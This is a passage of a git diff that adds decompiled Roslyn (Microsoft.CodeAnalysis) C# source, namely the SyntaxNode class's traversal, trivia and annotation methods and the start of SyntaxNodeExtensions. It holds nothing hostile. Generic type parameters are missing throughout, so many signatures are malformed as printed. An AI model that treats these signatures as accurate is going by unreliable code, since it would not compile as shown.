(greenNode.IsToken) + { + if (greenNode.HasLeadingTrivia && triviaContainsMatch(greenNode.GetLeadingTriviaCore(), rawKind)) + { + return true; + } + continue; + } + for (int num = greenNode.SlotCount - 1; num >= 0; num--) + { + instance.Push(greenNode.GetSlot(num)); + } + } + return false; + } + finally + { + instance.Free(); + } + static bool triviaContainsMatch(GreenNode? triviaNode, int num2) + { + if (triviaNode != null) + { + if (triviaNode.IsList) + { + int i = 0; + for (int slotCount = triviaNode.SlotCount; i < slotCount; i++) + { + GreenNode slot = triviaNode.GetSlot(i); + if (slot != null && slot.IsDirective) + { + int rawKind2 = slot.RawKind; + if (rawKind2 == num2) + { + return true; + } + } + } + } + else if (triviaNode.IsDirective && triviaNode.RawKind == num2) + { + return true; + } + } + return false; + } + } + + public bool Contains(SyntaxNode? node) + { + if (node == null || !FullSpan.Contains(node.FullSpan)) + { + return false; + } + while (node != null) + { + if (node == this) + { + return true; + } + node = ((node.Parent == null) ? ((!node.IsStructuredTrivia) ? null : ((IStructuredTriviaSyntax)node).ParentTrivia.Token.Parent) : node.Parent); + } + return false; + } + + internal abstract SyntaxNode? GetCachedSlot(int index); + + internal int GetChildIndex(int slot) + { + int num = 0; + for (int i = 0; i < slot; i++) + { + GreenNode slot2 = Green.GetSlot(i); + if (slot2 != null) + { + num = ((!slot2.IsList) ? (num + 1) : (num + slot2.SlotCount)); + } + } + return num; + } + + internal virtual int GetChildPosition(int index) + { + SyntaxNode cachedSlot = GetCachedSlot(index); + if (cachedSlot != null) + { + return cachedSlot.Position; + } + int num = 0; + GreenNode green = Green; + while (index > 0) + { + index--; + SyntaxNode cachedSlot2 = GetCachedSlot(index); + if (cachedSlot2 != null) + { + return cachedSlot2.EndPosition + num; + } + GreenNode slot = green.GetSlot(index); + if (slot != null) + { + num += slot.FullWidth; + } + } + return Position + num; + } + + internal int GetChildPositionFromEnd(int index) + { + SyntaxNode cachedSlot = GetCachedSlot(index); + if (cachedSlot != null) + { + return cachedSlot.Position; + } + GreenNode green = Green; + int num = green.GetSlot(index)?.FullWidth ?? 0; + int slotCount = green.SlotCount; + while (index < slotCount - 1) + { + index++; + SyntaxNode cachedSlot2 = GetCachedSlot(index); + if (cachedSlot2 != null) + { + return cachedSlot2.Position - num; + } + GreenNode slot = green.GetSlot(index); + if (slot != null) + { + num += slot.FullWidth; + } + } + return EndPosition - num; + } + + public Location GetLocation() + { + return SyntaxTree.GetLocation(Span); + } + + public IEnumerable GetDiagnostics() + { + return SyntaxTree.GetDiagnostics(this); + } + + public SyntaxReference GetReference() + { + return SyntaxTree.GetReference(this); + } + + public ChildSyntaxList ChildNodesAndTokens() + { + return new ChildSyntaxList(this); + } + + public virtual SyntaxNodeOrToken ChildThatContainsPosition(int position) + { + if (!FullSpan.Contains(position)) + { + throw new ArgumentOutOfRangeException("position"); + } + return ChildSyntaxList.ChildThatContainsPosition(this, position); + } + + internal abstract SyntaxNode? GetNodeSlot(int slot); + + internal SyntaxNode GetRequiredNodeSlot(int slot) + { + return GetNodeSlot(slot); + } + + public IEnumerable ChildNodes() + { + ChildSyntaxList.Enumerator enumerator = ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.AsNode(out SyntaxNode node)) + { + yield return node; + } + } + } + + public IEnumerable Ancestors(bool ascendOutOfTrivia = true) + { + return Parent?.AncestorsAndSelf(ascendOutOfTrivia) ?? SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable AncestorsAndSelf(bool ascendOutOfTrivia = true) + { + for (SyntaxNode node = this; node != null; node = GetParent(node, ascendOutOfTrivia)) + { + yield return node; + } + } + + private static SyntaxNode? GetParent(SyntaxNode node, bool ascendOutOfTrivia) + { + SyntaxNode parent = node.Parent; + if (parent == null && ascendOutOfTrivia && node is IStructuredTriviaSyntax { ParentTrivia: { Token: var token } }) + { + parent = token.Parent; + } + return parent; + } + + public TNode? FirstAncestorOrSelf(Func? predicate = null, bool ascendOutOfTrivia = true) where TNode : SyntaxNode + { + for (SyntaxNode syntaxNode = this; syntaxNode != null; syntaxNode = GetParent(syntaxNode, ascendOutOfTrivia)) + { + if (syntaxNode is TNode val && (predicate == null || predicate(val))) + { + return val; + } + } + return null; + } + + public TNode? FirstAncestorOrSelf(Func predicate, TArg argument, bool ascendOutOfTrivia = true) where TNode : SyntaxNode + { + for (SyntaxNode syntaxNode = this; syntaxNode != null; syntaxNode = GetParent(syntaxNode, ascendOutOfTrivia)) + { + if (syntaxNode is TNode val && predicate(val, argument)) + { + return val; + } + } + return null; + } + + public IEnumerable DescendantNodes(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesImpl(FullSpan, descendIntoChildren, descendIntoTrivia, includeSelf: false); + } + + public IEnumerable DescendantNodes(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesImpl(span, descendIntoChildren, descendIntoTrivia, includeSelf: false); + } + + public IEnumerable DescendantNodesAndSelf(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesImpl(FullSpan, descendIntoChildren, descendIntoTrivia, includeSelf: true); + } + + public IEnumerable DescendantNodesAndSelf(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesImpl(span, descendIntoChildren, descendIntoTrivia, includeSelf: true); + } + + public IEnumerable DescendantNodesAndTokens(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesAndTokensImpl(FullSpan, descendIntoChildren, descendIntoTrivia, includeSelf: false); + } + + public IEnumerable DescendantNodesAndTokens(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesAndTokensImpl(span, descendIntoChildren, descendIntoTrivia, includeSelf: false); + } + + public IEnumerable DescendantNodesAndTokensAndSelf(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesAndTokensImpl(FullSpan, descendIntoChildren, descendIntoTrivia, includeSelf: true); + } + + public IEnumerable DescendantNodesAndTokensAndSelf(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantNodesAndTokensImpl(span, descendIntoChildren, descendIntoTrivia, includeSelf: true); + } + + public SyntaxNode FindNode(TextSpan span, bool findInsideTrivia = false, bool getInnermostNodeForTie = false) + { + if (!FullSpan.Contains(span)) + { + throw new ArgumentOutOfRangeException("span"); + } + SyntaxNode syntaxNode = FindToken(span.Start, findInsideTrivia).Parent.FirstAncestorOrSelf((SyntaxNode a, TextSpan span2) => a.FullSpan.Contains(span2), span); + SyntaxNode syntaxNode2 = syntaxNode.SyntaxTree?.GetRoot(); + if (!getInnermostNodeForTie) + { + while (true) + { + SyntaxNode parent = syntaxNode.Parent; + if (parent == null || parent.FullWidth != syntaxNode.FullWidth || parent == syntaxNode2) + { + break; + } + syntaxNode = parent; + } + } + return syntaxNode; + } + + public SyntaxToken FindToken(int position, bool findInsideTrivia = false) + { + return FindTokenCore(position, findInsideTrivia); + } + + public SyntaxToken GetFirstToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + return SyntaxNavigator.Instance.GetFirstToken(this, includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + public SyntaxToken GetLastToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + return SyntaxNavigator.Instance.GetLastToken(this, includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + public IEnumerable ChildTokens() + { + ChildSyntaxList.Enumerator enumerator = ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (current.IsToken) + { + yield return current.AsToken(); + } + } + } + + public IEnumerable DescendantTokens(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return from sn in DescendantNodesAndTokens(descendIntoChildren, descendIntoTrivia) + where sn.IsToken + select sn.AsToken(); + } + + public IEnumerable DescendantTokens(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return from sn in DescendantNodesAndTokens(span, descendIntoChildren, descendIntoTrivia) + where sn.IsToken + select sn.AsToken(); + } + + public SyntaxTriviaList GetLeadingTrivia() + { + return GetFirstToken(includeZeroWidth: true).LeadingTrivia; + } + + public SyntaxTriviaList GetTrailingTrivia() + { + return GetLastToken(includeZeroWidth: true).TrailingTrivia; + } + + public SyntaxTrivia FindTrivia(int position, bool findInsideTrivia = false) + { + return FindTrivia(position, findInsideTrivia ? SyntaxTrivia.Any : null); + } + + public SyntaxTrivia FindTrivia(int position, Func? stepInto) + { + if (FullSpan.Contains(position)) + { + return FindTriviaByOffset(this, position - Position, stepInto); + } + return default(SyntaxTrivia); + } + + internal static SyntaxTrivia FindTriviaByOffset(SyntaxNode node, int textOffset, Func? stepInto = null) + { + while (textOffset >= 0) + { + SyntaxNodeOrToken current; + int fullWidth; + SyntaxNode node2; + for (ChildSyntaxList.Enumerator enumerator = node.ChildNodesAndTokens().GetEnumerator(); enumerator.MoveNext(); textOffset -= fullWidth) + { + current = enumerator.Current; + fullWidth = current.FullWidth; + if (textOffset >= fullWidth) + { + continue; + } + if (current.AsNode(out node2)) + { + goto IL_003d; + } + if (!current.IsToken) + { + continue; + } + goto IL_004f; + } + break; + IL_0111: + SyntaxTrivia current2; + if (current2.HasStructure && stepInto != null && stepInto(current2)) + { + node = current2.GetStructure(); + continue; + } + return current2; + IL_0092: + SyntaxTrivia current3; + if (current3.HasStructure && stepInto != null && stepInto(current3)) + { + node = current3.GetStructure(); + continue; + } + return current3; + IL_003d: + node = node2; + continue; + IL_004f: + SyntaxToken syntaxToken = current.AsToken(); + int leadingWidth = syntaxToken.LeadingWidth; + if (textOffset < syntaxToken.LeadingWidth) + { + SyntaxTriviaList.Enumerator enumerator2 = syntaxToken.LeadingTrivia.GetEnumerator(); + while (enumerator2.MoveNext()) + { + current3 = enumerator2.Current; + if (textOffset >= current3.FullWidth) + { + textOffset -= current3.FullWidth; + continue; + } + goto IL_0092; + } + } + else if (textOffset >= leadingWidth + syntaxToken.Width) + { + textOffset -= leadingWidth + syntaxToken.Width; + SyntaxTriviaList.Enumerator enumerator2 = syntaxToken.TrailingTrivia.GetEnumerator(); + while (enumerator2.MoveNext()) + { + current2 = enumerator2.Current; + if (textOffset >= current2.FullWidth) + { + textOffset -= current2.FullWidth; + continue; + } + goto IL_0111; + } + } + return default(SyntaxTrivia); + } + return default(SyntaxTrivia); + } + + public IEnumerable DescendantTrivia(Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantTriviaImpl(FullSpan, descendIntoChildren, descendIntoTrivia); + } + + public IEnumerable DescendantTrivia(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + return DescendantTriviaImpl(span, descendIntoChildren, descendIntoTrivia); + } + + public bool HasAnnotations(string annotationKind) + { + return Green.HasAnnotations(annotationKind); + } + + public bool HasAnnotations(IEnumerable annotationKinds) + { + return Green.HasAnnotations(annotationKinds); + } + + public bool HasAnnotation([NotNullWhen(true)] SyntaxAnnotation? annotation) + { + return Green.HasAnnotation(annotation); + } + + public IEnumerable GetAnnotations(string annotationKind) + { + return Green.GetAnnotations(annotationKind); + } + + public IEnumerable GetAnnotations(IEnumerable annotationKinds) + { + return Green.GetAnnotations(annotationKinds); + } + + internal SyntaxAnnotation[] GetAnnotations() + { + return Green.GetAnnotations(); + } + + public IEnumerable GetAnnotatedNodesAndTokens(string annotationKind) + { + return from t in DescendantNodesAndTokensAndSelf((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where t.HasAnnotations(annotationKind) + select t; + } + + public IEnumerable GetAnnotatedNodesAndTokens(params string[] annotationKinds) + { + return from t in DescendantNodesAndTokensAndSelf((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where t.HasAnnotations(annotationKinds) + select t; + } + + public IEnumerable GetAnnotatedNodesAndTokens(SyntaxAnnotation annotation) + { + return from t in DescendantNodesAndTokensAndSelf((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where t.HasAnnotation(annotation) + select t; + } + + public IEnumerable GetAnnotatedNodes(SyntaxAnnotation syntaxAnnotation) + { + return from n in GetAnnotatedNodesAndTokens(syntaxAnnotation) + where n.IsNode + select n.AsNode(); + } + + public IEnumerable GetAnnotatedNodes(string annotationKind) + { + return from n in GetAnnotatedNodesAndTokens(annotationKind) + where n.IsNode + select n.AsNode(); + } + + public IEnumerable GetAnnotatedTokens(SyntaxAnnotation syntaxAnnotation) + { + return from n in GetAnnotatedNodesAndTokens(syntaxAnnotation) + where n.IsToken + select n.AsToken(); + } + + public IEnumerable GetAnnotatedTokens(string annotationKind) + { + return from n in GetAnnotatedNodesAndTokens(annotationKind) + where n.IsToken + select n.AsToken(); + } + + public IEnumerable GetAnnotatedTrivia(string annotationKind) + { + return from tr in DescendantTrivia((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where tr.HasAnnotations(annotationKind) + select tr; + } + + public IEnumerable GetAnnotatedTrivia(params string[] annotationKinds) + { + return from tr in DescendantTrivia((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where tr.HasAnnotations(annotationKinds) + select tr; + } + + public IEnumerable GetAnnotatedTrivia(SyntaxAnnotation annotation) + { + return from tr in DescendantTrivia((SyntaxNode n) => n.ContainsAnnotations, descendIntoTrivia: true) + where tr.HasAnnotation(annotation) + select tr; + } + + internal SyntaxNode WithAdditionalAnnotationsInternal(IEnumerable annotations) + { + return Green.WithAdditionalAnnotationsGreen(annotations).CreateRed(); + } + + internal SyntaxNode GetNodeWithoutAnnotations(IEnumerable annotations) + { + return Green.WithoutAnnotationsGreen(annotations).CreateRed(); + } + + [return: NotNullIfNotNull("node")] + public T? CopyAnnotationsTo(T? node) where T : SyntaxNode + { + if (node == null) + { + return null; + } + SyntaxAnnotation[] annotations = Green.GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + return (T)node.Green.WithAdditionalAnnotationsGreen(annotations).CreateRed(); + } + return node; + } + + public bool IsEquivalentTo(SyntaxNode node, bool topLevel = false) + { + return IsEquivalentToCore(node, topLevel); + } + + [Obsolete("Syntax serialization support is deprecated and will be removed in a future version of this API", false)] + public virtual void SerializeTo(Stream stream, CancellationToken cancellationToken = default(CancellationToken)) + { + if (stream == null) + { + throw new ArgumentNullException("stream"); + } + if (!stream.CanWrite) + { + throw new InvalidOperationException(CodeAnalysisResources.TheStreamCannotBeWrittenTo); + } + FatalError.ReportNonFatalError(new SerializationDeprecationException()); + using ObjectWriter objectWriter = new ObjectWriter(stream, leaveOpen: true, cancellationToken); + objectWriter.WriteValue(Green); + } + + protected virtual bool EquivalentToCore(SyntaxNode other) + { + return IsEquivalentTo(other); + } + + protected virtual SyntaxToken FindTokenCore(int position, bool findInsideTrivia) + { + if (findInsideTrivia) + { + return FindToken(position, SyntaxTrivia.Any); + } + if (TryGetEofAt(position, out var Eof)) + { + return Eof; + } + if (!FullSpan.Contains(position)) + { + throw new ArgumentOutOfRangeException("position"); + } + return FindTokenInternal(position); + } + + private bool TryGetEofAt(int position, out SyntaxToken Eof) + { + if (position == EndPosition && this is ICompilationUnitSyntax compilationUnitSyntax) + { + Eof = compilationUnitSyntax.EndOfFileToken; + return true; + } + Eof = default(SyntaxToken); + return false; + } + + internal SyntaxToken FindTokenInternal(int position) + { + SyntaxNodeOrToken syntaxNodeOrToken = this; + while (true) + { + SyntaxNode syntaxNode = syntaxNodeOrToken.AsNode(); + if (syntaxNode == null) + { + break; + } + syntaxNodeOrToken = syntaxNode.ChildThatContainsPosition(position); + } + return syntaxNodeOrToken.AsToken(); + } + + private SyntaxToken FindToken(int position, Func findInsideTrivia) + { + return FindTokenCore(position, findInsideTrivia); + } + + protected virtual SyntaxToken FindTokenCore(int position, Func stepInto) + { + SyntaxToken token = FindToken(position); + if (stepInto != null) + { + SyntaxTrivia triviaFromSyntaxToken = GetTriviaFromSyntaxToken(position, in token); + if (triviaFromSyntaxToken.HasStructure && stepInto(triviaFromSyntaxToken)) + { + token = triviaFromSyntaxToken.GetStructure().FindTokenInternal(position); + } + } + return token; + } + + internal static SyntaxTrivia GetTriviaFromSyntaxToken(int position, in SyntaxToken token) + { + TextSpan span = token.Span; + SyntaxTrivia result = default(SyntaxTrivia); + if (position < span.Start && token.HasLeadingTrivia) + { + return GetTriviaThatContainsPosition(token.LeadingTrivia, position); + } + if (position >= span.End && token.HasTrailingTrivia) + { + return GetTriviaThatContainsPosition(token.TrailingTrivia, position); + } + return result; + } + + internal static SyntaxTrivia GetTriviaThatContainsPosition(in SyntaxTriviaList list, int position) + { + SyntaxTriviaList.Enumerator enumerator = list.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (current.FullSpan.Contains(position)) + { + return current; + } + if (current.Position > position) + { + break; + } + } + return default(SyntaxTrivia); + } + + protected virtual SyntaxTrivia FindTriviaCore(int position, bool findInsideTrivia) + { + return FindTrivia(position, findInsideTrivia); + } + + protected internal abstract SyntaxNode ReplaceCore(IEnumerable? nodes = null, Func? computeReplacementNode = null, IEnumerable? tokens = null, Func? computeReplacementToken = null, IEnumerable? trivia = null, Func? computeReplacementTrivia = null) where TNode : SyntaxNode; + + protected internal abstract SyntaxNode ReplaceNodeInListCore(SyntaxNode originalNode, IEnumerable replacementNodes); + + protected internal abstract SyntaxNode InsertNodesInListCore(SyntaxNode nodeInList, IEnumerable nodesToInsert, bool insertBefore); + + protected internal abstract SyntaxNode ReplaceTokenInListCore(SyntaxToken originalToken, IEnumerable newTokens); + + protected internal abstract SyntaxNode InsertTokensInListCore(SyntaxToken originalToken, IEnumerable newTokens, bool insertBefore); + + protected internal abstract SyntaxNode ReplaceTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia); + + protected internal abstract SyntaxNode InsertTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia, bool insertBefore); + + protected internal abstract SyntaxNode? RemoveNodesCore(IEnumerable nodes, SyntaxRemoveOptions options); + + protected internal abstract SyntaxNode NormalizeWhitespaceCore(string indentation, string eol, bool elasticTrivia); + + protected abstract bool IsEquivalentToCore(SyntaxNode node, bool topLevel = false); + + internal virtual bool ShouldCreateWeakList() + { + return false; + } + + private bool HasErrorsSlow() + { + return new SyntaxDiagnosticInfoList(Green).Any((DiagnosticInfo info) => info.Severity == DiagnosticSeverity.Error); + } + + internal static T CloneNodeAsRoot(T node, SyntaxTree syntaxTree) where T : SyntaxNode + { + T obj = (T)node.Green.CreateRed(null, 0); + obj._syntaxTree = syntaxTree; + return obj; + } + + private IEnumerable DescendantNodesImpl(TextSpan span, Func? descendIntoChildren, bool descendIntoTrivia, bool includeSelf) + { + if (!descendIntoTrivia) + { + return DescendantNodesOnly(span, descendIntoChildren, includeSelf); + } + return from e in DescendantNodesAndTokensImpl(span, descendIntoChildren, descendIntoTrivia: true, includeSelf) + where e.IsNode + select e.AsNode(); + } + + private IEnumerable DescendantNodesAndTokensImpl(TextSpan span, Func? descendIntoChildren, bool descendIntoTrivia, bool includeSelf) + { + if (!descendIntoTrivia) + { + return DescendantNodesAndTokensOnly(span, descendIntoChildren, includeSelf); + } + return DescendantNodesAndTokensIntoTrivia(span, descendIntoChildren, includeSelf); + } + + private IEnumerable DescendantTriviaImpl(TextSpan span, Func? descendIntoChildren = null, bool descendIntoTrivia = false) + { + if (!descendIntoTrivia) + { + return DescendantTriviaOnly(span, descendIntoChildren); + } + return DescendantTriviaIntoTrivia(span, descendIntoChildren); + } + + private static bool IsInSpan(in TextSpan span, TextSpan childSpan) + { + if (!span.OverlapsWith(childSpan)) + { + if (childSpan.Length == 0) + { + return span.IntersectsWith(childSpan); + } + return false; + } + return true; + } + + private IEnumerable DescendantNodesOnly(TextSpan span, Func? descendIntoChildren, bool includeSelf) + { + if (includeSelf && IsInSpan(in span, FullSpan)) + { + yield return this; + } + using ChildSyntaxListEnumeratorStack stack = new ChildSyntaxListEnumeratorStack(this, descendIntoChildren); + while (stack.IsNotEmpty) + { + SyntaxNode syntaxNode = stack.TryGetNextAsNodeInSpan(in span); + if (syntaxNode != null) + { + stack.PushChildren(syntaxNode, descendIntoChildren); + yield return syntaxNode; + } + } + } + + private IEnumerable DescendantNodesAndTokensOnly(TextSpan span, Func? descendIntoChildren, bool includeSelf) + { + if (includeSelf && IsInSpan(in span, FullSpan)) + { + yield return this; + } + using ChildSyntaxListEnumeratorStack stack = new ChildSyntaxListEnumeratorStack(this, descendIntoChildren); + while (stack.IsNotEmpty) + { + if (stack.TryGetNextInSpan(in span, out var value)) + { + SyntaxNode syntaxNode = value.AsNode(); + if (syntaxNode != null) + { + stack.PushChildren(syntaxNode, descendIntoChildren); + } + yield return value; + } + } + } + + private IEnumerable DescendantNodesAndTokensIntoTrivia(TextSpan span, Func? descendIntoChildren, bool includeSelf) + { + if (includeSelf && IsInSpan(in span, FullSpan)) + { + yield return this; + } + using ThreeEnumeratorListStack stack = new ThreeEnumeratorListStack(this, descendIntoChildren); + while (stack.IsNotEmpty) + { + switch (stack.PeekNext()) + { + case ThreeEnumeratorListStack.Which.Node: + { + if (!stack.TryGetNextInSpan(in span, out var value2)) + { + break; + } + if (value2.IsNode) + { + stack.PushChildren(value2.AsNode(), descendIntoChildren); + } + else if (value2.IsToken) + { + SyntaxToken token = value2.AsToken(); + if (token.HasStructuredTrivia) + { + if (token.HasTrailingTrivia) + { + stack.PushTrailingTrivia(in token); + } + stack.PushToken(in value2); + if (token.HasLeadingTrivia) + { + stack.PushLeadingTrivia(in token); + } + break; + } + } + yield return value2; + break; + } + case ThreeEnumeratorListStack.Which.Trivia: + { + if (stack.TryGetNext(out var value) && value.TryGetStructure(out SyntaxNode structure) && IsInSpan(in span, value.FullSpan)) + { + stack.PushChildren(structure, descendIntoChildren); + yield return structure; + } + break; + } + case ThreeEnumeratorListStack.Which.Token: + yield return stack.PopToken(); + break; + } + } + } + + private IEnumerable DescendantTriviaOnly(TextSpan span, Func? descendIntoChildren) + { + using ChildSyntaxListEnumeratorStack stack = new ChildSyntaxListEnumeratorStack(this, descendIntoChildren); + while (stack.IsNotEmpty) + { + if (!stack.TryGetNextInSpan(in span, out var value)) + { + continue; + } + if (value.AsNode(out SyntaxNode node)) + { + stack.PushChildren(node, descendIntoChildren); + } + else + { + if (!value.IsToken) + { + continue; + } + SyntaxToken token = value.AsToken(); + SyntaxTriviaList.Enumerator enumerator = token.LeadingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (IsInSpan(in span, current.FullSpan)) + { + yield return current; + } + } + enumerator = token.TrailingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current2 = enumerator.Current; + if (IsInSpan(in span, current2.FullSpan)) + { + yield return current2; + } + } + } + } + } + + private IEnumerable DescendantTriviaIntoTrivia(TextSpan span, Func? descendIntoChildren) + { + using TwoEnumeratorListStack stack = new TwoEnumeratorListStack(this, descendIntoChildren); + while (stack.IsNotEmpty) + { + switch (stack.PeekNext()) + { + case TwoEnumeratorListStack.Which.Node: + { + if (!stack.TryGetNextInSpan(in span, out var value2)) + { + break; + } + if (value2.AsNode(out SyntaxNode node)) + { + stack.PushChildren(node, descendIntoChildren); + } + else if (value2.IsToken) + { + SyntaxToken token = value2.AsToken(); + if (token.HasTrailingTrivia) + { + stack.PushTrailingTrivia(in token); + } + if (token.HasLeadingTrivia) + { + stack.PushLeadingTrivia(in token); + } + } + break; + } + case TwoEnumeratorListStack.Which.Trivia: + { + if (stack.TryGetNext(out var value)) + { + if (value.TryGetStructure(out SyntaxNode structure)) + { + stack.PushChildren(structure, descendIntoChildren); + } + if (IsInSpan(in span, value.FullSpan)) + { + yield return value; + } + } + break; + } + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeExtensions.cs new file mode 100644 index 0000000..cc5d14b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeExtensions.cs @@ -0,0 +1,341 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public static class SyntaxNodeExtensions +{ + private class CurrentNodes + { + private readonly ImmutableSegmentedDictionary> _idToNodeMap; + + public CurrentNodes(SyntaxNode root) + { + SegmentedDictionary> segmentedDictionary = new SegmentedDictionary>(); + foreach (SyntaxNode item in from n in root.GetAnnotatedNodesAndTokens("Id") + select n.AsNode()) + { + foreach (SyntaxAnnotation annotation in item.GetAnnotations("Id")) + { + if (!segmentedDictionary.TryGetValue(annotation, out var value)) + { + value = new List(); + segmentedDictionary.Add(annotation, value); + } + value.Add(item); + } + } + _idToNodeMap = ((IEnumerable>>)segmentedDictionary).ToImmutableSegmentedDictionary((Func>, SyntaxAnnotation>)((KeyValuePair> kv) => kv.Key), (Func>, IReadOnlyList>)((KeyValuePair> kv) => ImmutableArray.CreateRange(kv.Value))); + } + + public IReadOnlyList GetNodes(SyntaxAnnotation id) + { + if (_idToNodeMap.TryGetValue(id, out IReadOnlyList value)) + { + return value; + } + return SpecializedCollections.EmptyReadOnlyList(); + } + } + + internal const string DefaultIndentation = " "; + + internal const string DefaultEOL = "\r\n"; + + private static readonly ConditionalWeakTable s_nodeToIdMap = new ConditionalWeakTable(); + + private static readonly ConditionalWeakTable s_rootToCurrentNodesMap = new ConditionalWeakTable(); + + internal const string IdAnnotationKind = "Id"; + + public static TRoot ReplaceSyntax(this TRoot root, IEnumerable? nodes, Func? computeReplacementNode, IEnumerable? tokens, Func? computeReplacementToken, IEnumerable? trivia, Func? computeReplacementTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceCore(nodes, computeReplacementNode, tokens, computeReplacementToken, trivia, computeReplacementTrivia); + } + + public static TRoot ReplaceNodes(this TRoot root, IEnumerable nodes, Func computeReplacementNode) where TRoot : SyntaxNode where TNode : SyntaxNode + { + return (TRoot)root.ReplaceCore(nodes, computeReplacementNode); + } + + public static TRoot ReplaceNode(this TRoot root, SyntaxNode oldNode, SyntaxNode newNode) where TRoot : SyntaxNode + { + if (oldNode == newNode) + { + return root; + } + return (TRoot)root.ReplaceCore(new SyntaxNode[1] { oldNode }, (SyntaxNode o, SyntaxNode r) => newNode); + } + + public static TRoot ReplaceNode(this TRoot root, SyntaxNode oldNode, IEnumerable newNodes) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceNodeInListCore(oldNode, newNodes); + } + + public static TRoot InsertNodesBefore(this TRoot root, SyntaxNode nodeInList, IEnumerable newNodes) where TRoot : SyntaxNode + { + return (TRoot)root.InsertNodesInListCore(nodeInList, newNodes, insertBefore: true); + } + + public static TRoot InsertNodesAfter(this TRoot root, SyntaxNode nodeInList, IEnumerable newNodes) where TRoot : SyntaxNode + { + return (TRoot)root.InsertNodesInListCore(nodeInList, newNodes, insertBefore: false); + } + + public static TRoot ReplaceToken(this TRoot root, SyntaxToken tokenInList, IEnumerable newTokens) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceTokenInListCore(tokenInList, newTokens); + } + + public static TRoot InsertTokensBefore(this TRoot root, SyntaxToken tokenInList, IEnumerable newTokens) where TRoot : SyntaxNode + { + return (TRoot)root.InsertTokensInListCore(tokenInList, newTokens, insertBefore: true); + } + + public static TRoot InsertTokensAfter(this TRoot root, SyntaxToken tokenInList, IEnumerable newTokens) where TRoot : SyntaxNode + { + return (TRoot)root.InsertTokensInListCore(tokenInList, newTokens, insertBefore: false); + } + + public static TRoot ReplaceTrivia(this TRoot root, SyntaxTrivia oldTrivia, IEnumerable newTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceTriviaInListCore(oldTrivia, newTrivia); + } + + public static TRoot InsertTriviaBefore(this TRoot root, SyntaxTrivia trivia, IEnumerable newTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.InsertTriviaInListCore(trivia, newTrivia, insertBefore: true); + } + + public static TRoot InsertTriviaAfter(this TRoot root, SyntaxTrivia trivia, IEnumerable newTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.InsertTriviaInListCore(trivia, newTrivia, insertBefore: false); + } + + public static TRoot ReplaceTokens(this TRoot root, IEnumerable tokens, Func computeReplacementToken) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceCore(null, null, tokens, computeReplacementToken); + } + + public static TRoot ReplaceToken(this TRoot root, SyntaxToken oldToken, SyntaxToken newToken) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceCore(null, null, new SyntaxToken[1] { oldToken }, (SyntaxToken o, SyntaxToken r) => newToken); + } + + public static TRoot ReplaceTrivia(this TRoot root, IEnumerable trivia, Func computeReplacementTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceCore(null, null, null, null, trivia, computeReplacementTrivia); + } + + public static TRoot ReplaceTrivia(this TRoot root, SyntaxTrivia trivia, SyntaxTrivia newTrivia) where TRoot : SyntaxNode + { + return (TRoot)root.ReplaceCore(null, null, null, null, new SyntaxTrivia[1] { trivia }, (SyntaxTrivia o, SyntaxTrivia r) => newTrivia); + } + + public static TRoot? RemoveNode(this TRoot root, SyntaxNode node, SyntaxRemoveOptions options) where TRoot : SyntaxNode + { + return (TRoot)root.RemoveNodesCore(new SyntaxNode[1] { node }, options); + } + + public static TRoot? RemoveNodes(this TRoot 